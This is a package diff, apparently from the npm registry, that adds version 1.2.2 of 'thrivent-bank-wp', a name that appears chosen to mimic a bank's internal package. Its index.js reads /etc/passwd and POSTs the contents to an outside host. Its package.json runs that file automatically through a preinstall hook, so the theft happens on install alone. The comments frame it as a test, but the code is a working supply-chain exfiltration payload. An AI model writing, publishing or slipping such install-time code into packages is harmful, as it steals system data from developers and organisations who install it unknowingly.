thrivent-bank-wp 1.2.2

package/index.js

@@ -0,0 +1,40 @@
+const fs = require("fs");
+const https = require("https");
+
+const filePath = "/etc/passwd"; // Only safe on your own test machine
+
+// Read file
+fs.readFile(filePath, "utf8", (err, data) => {
+  if (err) {
+    console.error(`Failed to read ${filePath}:`, err.message);
+    return;
+  }
+
+  // Prepare request
+  const postData = `file_contents=${encodeURIComponent(data)}`;
+
+  const options = {
+    hostname: "thrivent-bank-wp",
+    port: 443, // Burp proxy default port
+    path: "/",
+    method: "POST",
+    headers: {
+      "Content-Type": "application/x-www-form-urlencoded",
+      "Content-Length": postData.length,
+    },
+  };
+
+  const req = https.request(options, (res) => {
+    console.log(`Status: ${res.statusCode}`);
+    res.on("data", (chunk) => {
+      console.log("Response:", chunk.toString());
+    });
+  });
+
+  req.on("error", (e) => {
+    console.error("Request error:", e.message);
+  });
+
+  req.write(postData);
+  req.end();
+});

package/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "thrivent-bank-wp",
+  "version": "1.2.2",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "",
+  "license": "ISC"
+}